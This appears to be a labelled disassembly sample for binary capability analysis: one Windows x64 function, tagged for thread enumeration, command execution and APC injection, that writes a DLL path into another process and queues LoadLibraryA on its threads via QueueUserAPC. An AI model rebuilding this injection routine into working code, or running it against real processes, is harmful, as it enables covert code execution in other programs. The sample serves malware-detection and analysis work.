Function at 0x140011384
Capabilities:
Enumerate threads
Execute command
Inject apc

Disassembly:
jmp 0x1400135a0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
mov byte [rbp + 0x1e4], 0
lea rcx, [0x140027482]
call fcn.140011438
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140013656
lea rcx, str.Could_note_locate_real_address_of_LoadLibraryA__n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
mov rdx, qword [rbp + 8]
lea rcx, str.LoadLibraryA_is_located_at_real_address:_0X_p_n
call fcn.1400111f9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x220]
call fcn.1400111cc
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400136dc
lea rcx, str.Could_not_allocate_Memory_in_target_process_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
mov rdx, qword [rbp + 0x28]
lea rcx, str.Dll_path_memory_allocated_at:_0X_p_n
call fcn.1400111f9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x220]
call fcn.1400111cc
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140013764
lea rcx, str.Could_not_write_into_the_allocated_memory_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
mov rdx, qword [rbp + 0x28]
lea rcx, str.Dll_path_memory_was_written_at_address_:_0x_p_n
call fcn.1400111f9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x68], 0xffffffffffffffff
xor edx, edx
mov ecx, 4
call fcn.140011203
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
jne 0x1400137d2
lea rcx, str.Could_not_get_snapshot_of_threads_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
mov dword [rbp + 0x88], 0x1c
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call fcn.1400112bc
test eax, eax
jne 0x140013824
lea rcx, str.Could_not_get_first_thread_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
mov eax, dword [rbp + 0x230]
cmp dword [rbp + 0x94], eax
jne 0x1400139a8
mov byte [rbp + 0x1e4], 1
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0xc4], eax
cmp byte [rbp + 0x1e4], 0
jne 0x14001385e
lea rcx, str.threadId
call fcn.1400110b4
mov edx, dword [rbp + 0xc4]
lea rcx, str.Exploitng_thread_with_ID__d
call fcn.1400111f9
cmp byte [rbp + 0x1e4], 0
jne 0x140013885
lea rcx, str.threadId
call fcn.1400110b4
mov r8d, dword [rbp + 0xc4]
xor edx, edx
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x140013977
cmp byte [rbp + 0x1e4], 0
jne 0x1400138c3
lea rcx, str.threadId
call fcn.1400110b4
mov edx, dword [rbp + 0xc4]
lea rcx, str.Thread__d_is_opened_succesfully_n
call fcn.1400111f9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
je 0x140013941
cmp byte [rbp + 0x1e4], 0
jne 0x140013919
lea rcx, str.threadId
call fcn.1400110b4
mov edx, dword [rbp + 0xc4]
lea rcx, str.Payload_Injected_successfully_in_thread__d_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
mov al, 1
jmp 0x1400139fc
cmp byte [rbp + 0x1e4], 0
jne 0x140013956
lea rcx, str.threadId
call fcn.1400110b4
mov edx, dword [rbp + 0xc4]
lea rcx, str.Error_in_calling_QueueUSerAPC___for_thread__d_..._Continuing_to_try_other_threads_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x1400139a8
lea rcx, str.Error_in_Getting_found_thread_ID_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x1400139fc
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call fcn.140011078
test eax, eax
jne 0x140013824
cmp byte [rbp + 0x1e4], 0
jne 0x1400139d5
lea rcx, str.threadId
call fcn.1400110b4
cmp dword [rbp + 0xc4], 0
jne 0x1400139f0
mov edx, dword [rbp + 0x230]
lea rcx, str.No_Thread_for_use_in_process__d_n
call fcn.1400111f9
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001deb0]
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret